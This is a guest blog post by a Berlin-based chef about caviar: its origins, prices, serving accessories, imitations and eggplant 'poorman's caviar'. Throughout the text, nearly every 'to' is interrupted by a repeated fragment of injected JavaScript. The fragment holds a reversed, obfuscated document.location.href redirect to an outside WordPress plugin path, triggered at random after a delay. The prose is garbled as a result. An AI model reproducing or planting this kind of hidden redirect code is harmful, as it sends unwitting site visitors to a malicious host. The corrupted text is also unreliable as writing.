Guest Blog from Chef in Berlin: Champagne Wishes and Caviar Dreams

Below is a Guest Blog from the wonderful “Chef in Berlin”!

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 100px; line-height: 90px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>You don’t need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lead the life of the rich and famous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enjoy “Champagne Wishes or Caviar Dreams.” 

When I saw the new “Designer Tag Sale” The Antiques Diva® & Co was offering on their website, I was like a kid in a candy stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.  A multitude of gorgeous caviar presentation dishes caught my eye and I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told the Diva that as CHEF in BERLIN” it was practically my obligation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write a Guest Blog toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share some Caviar details with you!  

Rosenthal Champagne and Caviar Cooler

Have you ever wondered what real caviar actually is? The world’s leading producer is Iran at 300,000 metric toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons, followed by Russia’s Soviet States. Both countries border the Caspian Sea which is the world’s largest salt-water lake.  Caviar is actually a type of fish egg called roe. Exactly like Champagne has its own designation, caviar traditionally comes from the sturgeon roe. Today these eggs come from a wide variety of fish like beluga (the most expensive up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to $25,000/kg), trout, salmon, and other sorts of fish that are raised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to produce the eggs. Beluga is the most prized and the price is directly relevant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the age of the fish. Apparently the older Beluga sturgeon can take up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 20 years toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mature and their eggs range in color from black toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pearly white. 

Saint Hilaire Caviar Knife

When eating caviar, it’s all about the accessories!  Caviar is typically eaten with a bone, horn or mother-of-pearl spoon or spreading knife since a metal or silver one imparts a metallic taste.  Another way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve caviar is with a gold spoon as it also has qualities that do not impact the taste. 

Aficionados and purists might not agree on all of the typical caviar garnishes but one thing they do agree with is that caviar should be enjoyed with either ice cold vodka (my favorite way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consume caviar) or, as The Antiques Diva® does, with “un coup de champagne”. 

Saint Hilaire Caviar and Vodka Presentation Set

There are loads of caviar imposters like lumpfish (hard black or red colored eggs), salmon or trout (orange/red in color), or whitefish (golden color). Last week I saw green caviar which is some sort of manufactured wasabi product – it seems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be popular on the sushi circuit for its bright psychedelic green hue.  They are sort of the “proseccos and sparkling wines” of the caviar circuit.

As I know Diva Readers love La France, I must share with you that France has its own type of caviar called Poorman’s Caviar. It’s not fish eggs but rather a whole baked eggplant mixed with a whole roasted head of garlic. Slather it on a chunky baguette and sip some champagne!  Perfect budget-friendly party food!

Champagne Kisses and Caviar Dreams,

CHEF in BERLIN
(seen below with The Antiques Diva®)toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.php?op=1&view=global&subj=1228362061&pid=31586949&id=1228362061″>

 

Jill DiGiovanni is “CHEF in BERLIN” – a Germany-based Canadian who has taken Berlin by stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torm with her great selection of gourmet offerings.  She’s a personal chef for hire who offers in home catering, private cooking lessons and custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom menus for busy people. Visit www.chefinberlin.com for more information.